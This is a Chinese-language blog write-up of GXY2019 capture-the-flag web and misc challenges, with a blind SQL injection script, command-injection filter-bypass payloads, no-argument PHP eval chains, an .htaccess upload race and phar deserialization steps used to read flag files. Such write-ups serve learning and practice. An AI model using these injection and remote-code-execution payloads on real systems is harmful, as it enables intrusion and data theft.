[复现]GXY2019

前言

当时GXY的时候在复习中,临时抱拂脚,没时间打比赛。就写了一题。/(ㄒoㄒ)/~~

babysqli

当时做了写了笔记。

过滤了or,()其中or可以用大小写绕过,可以用order by盲注

第一列应该是id,第二列是用户名,第三列是密码

当提示wrong pass,说明第一行是正确的账户密码取出来比对错误

当提示wrong user,说明第一行不是admin用户,此时输入的字符串第一位比md5哈希后的密码第一位小

import requests
url='http://183.129.189.60:10001/search.php'
payload="admin'union select 1,2,0x43444339433831394337463842453236323844343138303636{} oRder by 3 #"
#payload="union_373_Tom' union select 1,2,0x{} order by 3,2,'1"
flag=''
s = requests.session() 
s.keep_alive = False //关闭多余连接
for i in range(10):
    for j in range(33,127):
        data={"name":payload.format((flag+chr(j)).encode('hex')),"pw":'123'}
        lihuaiqiu=s.post(url,data=data)
        #print lihuaiqiu.text
        if "wrong pass" in lihuaiqiu.text:
            flag+=chr(j-1)
            print flag
            break   

跑两段跑出来hash CDC9C819C7F8BE2628D4180669009D27

但是解密不出,队友告诉是我像实验吧的一道逻辑问题。主要是这两处提示

 

base32解码,转base64,解码

 

所以判断逻辑是通过username然后对比md5(password)这样,就会存在逻辑问题。相同题目如实验吧逻辑问题

https://blog.csdn.net/dongyanwen6036/article/details/77768345

 

 

第一个payload是直接作为admin, md5(yunyingc)

第二个payload是用order by注入倒叙,因为哈希是C开头的。所以倒叙就是我们自己设置的md5了

Ping Ping Ping

考察命令执行的bypass

看回显可能是过滤了空格和符号

通过fuzz发现{}估计是被过滤了,但是代替空格的$IFS$9还可以用

读取flag.php未果,估计过滤了字符。可以读index.php

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

过滤了很多符号。将我们记录的小本本拿出来,找找姿势。

因为这里没有过滤$,所以我们依然可以用变量替换执行来bypass

这里的正则方式是.*f.*l.*a.*g.*,因此不能出现flag,但其实不然,只是顺序无须如此。我们可以改变顺序来变量替换。

比如:

a1=.php;a2=g;a3=a;a4=l;a5=f;a6=$a5$a4$a3$a2$a1;cat$IFS$9$a6

这样的顺序,当执行时,才会按逆序排成flag字符

再去找找WP,看看别的师傅的姿势。

payload1:

tac$IFS$9f`echo$IFS$9$PATH|cut$IFS$9-c6`ag.php

来自https://blog.csdn.net/Pdsdt1/article/details/103663334

通过环境变量PATH结合cut -c获得单个字符l,拼接成flag.php

 

payload2:

?ip=;cat$IFSls;

来自https://blog.csdn.net/ChenZIDu/article/details/103937649

emmmmm,这也行?学到了学到了。

顺便去补充下自己的小本本。

禁止套娃

今天醒来,发现科比去世了。接二连三的打击。想着想着,悲伤又难过。或者不该。爱情也好,一通电话后,说散就散了吧,才发现原来自己不算什么,没有什么优点值得喜欢。加油(ง •_•)ง,努力去挣脱

只有两个页面,index.php和flag.php,随手测试了下,当路径是不存在的时候仍然回到主页面。加了个.git出现403。

用githack拉下来了index.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

这种套娃题(无参数RCE),在ByteCTF和上海CTF中已经见过几次了。套路很多。参照我以前的文章:yunying

这里方法很多,没有过滤啥。这里我用的是crypt(serialize(array()))

查看当前目录,多尝试几次,直到出现.

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

 

发现flag.php不在末尾,无法用end等直接读flag.php。目的是把flag.php放在最后,或者第一个或者第二个。

寻找下数组反转的函数:https://www.w3school.com.cn/php/php_ref_array.asp

可以使用array_reverse()函数反转字符串

print_r(array_reverse(scandir(chr(ord(strrev(crypt(serialize(array()))))))));

 

这样的话就可以用next读

readfile(next(array_reverse(scandir(chr(ord(strrev(crypt(serialize(array())))))))));

babyupload

很干净的前端,随便fuzz下网页看能不能找到别的。

不存在flag.php,应该是需要上传getshell,读取/flag的

 

传个小马看看,禁止了ph,大小写无法绕过

随便传个jpg

= =没看懂啥意思。再传一个一句话jpg

 

修改下风格就行了,可以发现这样的jpg可以上传,但是之前的普通的jpg不行。应该是限制了图片大小。

 

这么看,不就是像suctf那个题目嘛,这次是apache,改成.htaccess解析就可以了 

还是不行,不是通过exif_imagetype()判断的嘛?将其改为.jpg,burp在修改为.htaccess

这里我直接修改了Content-Type尝试,成功上传

但是去访问路径的时候访问不到。。。就很奇怪,不知道题目是不是有问题还是啥我没get到。去看了下WP,发现确实就是会删,需要条件竞争去解析。

于是用burp启动两个intruder

 

 尝试执行命令

 

多试几次就出来了

查看根目录

 

发现system('cat /flag');不行,一片空白,看一下phpinfo

 

 

 改用php文件IO函数

 

去看了下源码

 

确实是通过content-type去判断的,而不是exif_imagetype函数,并且规定了大小2048

babysqli2.0

宽字节注入,buu没复现环境

babysqli3.0

提示里有一个u9db8

 

 

通过admin发现有这个账户,显示wrong password

brup卡了5分钟,因为弱口令字典payload太多。。结果第一个就是

0

进入home.php页面

 

 

题目说当前引用的是upload.php,应该是文件包含

获得home.php源码

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
	if(isset($_GET['file'])){
		if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
			die("hacker!");
		}
		else{
			if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
				$file = $_GET['file'].".php";
			}
			else{
				$file = $_GET['file'].".fxxkyou!";
			}
			echo "当前引用的是 ".$file;
			require $file;
		}
		
	}
	else{
		die("no permission!");
	}
}

  

  

upload.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
	上传文件
	<input type="file" name="file" />
	<input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
	public $Filename;
	public $cmd;
	public $token;
	

	function __construct(){
		$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
		$ext = ".txt";
		@mkdir($sandbox, 0777, true);
		if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
		}
		else{
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
		}

		$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
		$this->token = $_SESSION['user'];
	}

	function upload($file){
		global $sandbox;
		global $ext;

		if(preg_match("[^a-z0-9]", $this->Filename)){
			$this->cmd = "die('illegal filename!');";
		}
		else{
			if($file['size'] > 1024){
				$this->cmd = "die('you are too big (′▽`〃)');";
			}
			else{
				$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
			}
		}
	}

	function __toString(){
		global $sandbox;
		global $ext;
		// return $sandbox.$this->Filename.$ext;
		return $this->Filename;
	}

	function __destruct(){
		if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);
	}
}

if(isset($_FILES['file'])) {
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
		echo "下面是你上传的文件:<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}

?>  

很明显的phar反序列化构造。

发现这里会 echo文件内容。而且home.php中拦截flag字符串,也就是不能直接拼接成flag.php。意思就是flag文件是flag.php

 

但是这里有个传name的操作,虽然过滤了.,但是这里好像多了一个空格。导致没有限制好

那如果随便上传个东西,但是通过传name,将name设置为flag.php不就行了嘛

这个应该是非预期解。

因为上面这个非预期的操作,可把我整死了。浪费了大半天,读不到flag.php,一直返回asdfsdf。因为现在的flag.php已经被覆盖了,因为move_uploaded_file的缘故被替换成了我上传的txt内容。所以自己把自己搅屎了,因此不能继续预期解法,重开一下题目。呢么为什么这次能读到flag,而下一次就读不到了呢?因为析构函数是最后才执行,他先直接file_get_contents然后,再执行析构函数,调用cmd命令,重命名成flag.php并且覆盖了原flag.php

 

预期解应该是执行eval($this->cmd)命令,读取flag.php

通过file_get_contents($uploader)这里,触发phar反序列化。所以这里构造的phar序列化链非常的简单。只要满足$this->token与$_SESSION['user']相同就行。因为我们随便上传一个东西,就返回$_SESSION['user']的值

获取$_SESSION['user'] =>GXY261c07c484f20daaaf4c3b6d9a8edb2e

上传phar.phar,重置名字为haha.jpg

再随便上传一个东西,指定name=phar:///var/www/html/haha.jpg,获取flag

 

 

 然后看到Ying师傅还有一种非预期解,就是直接getshell,一句话木马。确实,因为直接传上去的,传到/var/www/html里都可以,没有做好过滤的话。

所以这道题?过滤了.的话,就不能指定phar://xxxx.xx了,phar://反序列化的话又不能直接不带.后缀的,会认为是二进制文件。那要是不过滤.的话,就造成了这两种非预期解。我觉得这里应该过滤的是.php,即不能指定flag.php,也就不能一句话木马上去了,并且要过滤.htaccess或者.user.ini,不然依然可以把上传的图片解析成马儿。我觉得这道题过滤需要考虑的比较周到。

StrongestMind

进入页面是计算器的形式

用dirsearch也没有扫到东西, burp也没有抓到什么东西,意思真就1000一次?,那就来试试吧。

因为只有+ -但是中间有空格需要注意

import requests
import re
import time
reexpression=re.compile('<br>(\d+ [+-] \d+)<br>')
url='http://45a349c0-d321-414b-8ab4-0029e41ce565.node3.buuoj.cn/index.php'
session_keep=requests.session()
response=session_keep.get(url)
response.encoding='utf-8'
print(response.text)
response_true=reexpression.findall(response.text)
data={"answer":eval(''.join(response_true))}
response2=session_keep.post(url=url,data=data)
response2.encoding='utf-8'
for i in range(1000):
	response_true=reexpression.findall(response2.text)
	response2=session_keep.post(url=url,data={"answer":eval(''.join(response_true))})
	response2.encoding='utf-8'
	print(response2.text)
	time.sleep(0.1)  

我觉得我的代码可看性有点差啊,感觉没必要这么标识变量名

 

明明1001次成功才给flag,要是有人被坑了岂不是很难受,得重跑一遍。

Do you know robots

去看了下还有一道题,反序列化比较简单,这里不上了。

[MISC]佛系青年

学习MISC

压缩包里有一个png一个加密的txt

 

010editor查看zip,百度了下是不是伪加密 东西

https://blog.csdn.net/qq_26187985/article/details/83654197

我们查看fo.txt压缩原文件目录区

发现是全局方式位标记是09,奇数,改成00

也可以ZipCenOp这个工具,有时候不行有时候行。

 

[MISC]SXMgdGhpcyBiYXNlPw==

标题解密

 

压缩包里flag.txt中都是base64的东西

base64隐写

https://www.jianshu.com/p/f1f4e10ad10e

[MISC]gakki

新恒结衣

拖入010editor

发现数据太多了,不应该是一张简单的图片,拉入kali中,foremost一下

得到一个rar包

尝试对rar爆破密码,用ARCHPR爆破

 

得到8864密码解压出flag.txt,一堆乱七八糟的字符,尝试词频分析,qiuqiu网站api失效

这里因为词频分析网站失效了。我就看了WP,用EXP中给的

语料库在线--字词频统计网站依旧失效。

于是用EXP的cout.py统计

alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+-={}[]"
f = open("C:\\Users\\dell\\Desktop\\00000268\\flag.txt", "r")
data = f.read()
result = {d:0 for d in alphabet}

def sort_by_value(d):
	items = d.items()
	backitems = [[v[1],v[0]] for v in items]
	backitems.sort(reverse=True)
	return [ backitems[i][1] for i in range(0,len(backitems))]

# while data:
for d in data:
	for alpha in alphabet:
		if d == alpha:
			result[alpha] = result[alpha] + 1
	# data = f.readline()
print(sort_by_value(result))
print(''.join(sort_by_value(result))) 

得到flag

 

posted @ 2020-03-13 18:42  yunying  阅读(624)  评论(0编辑  收藏  举报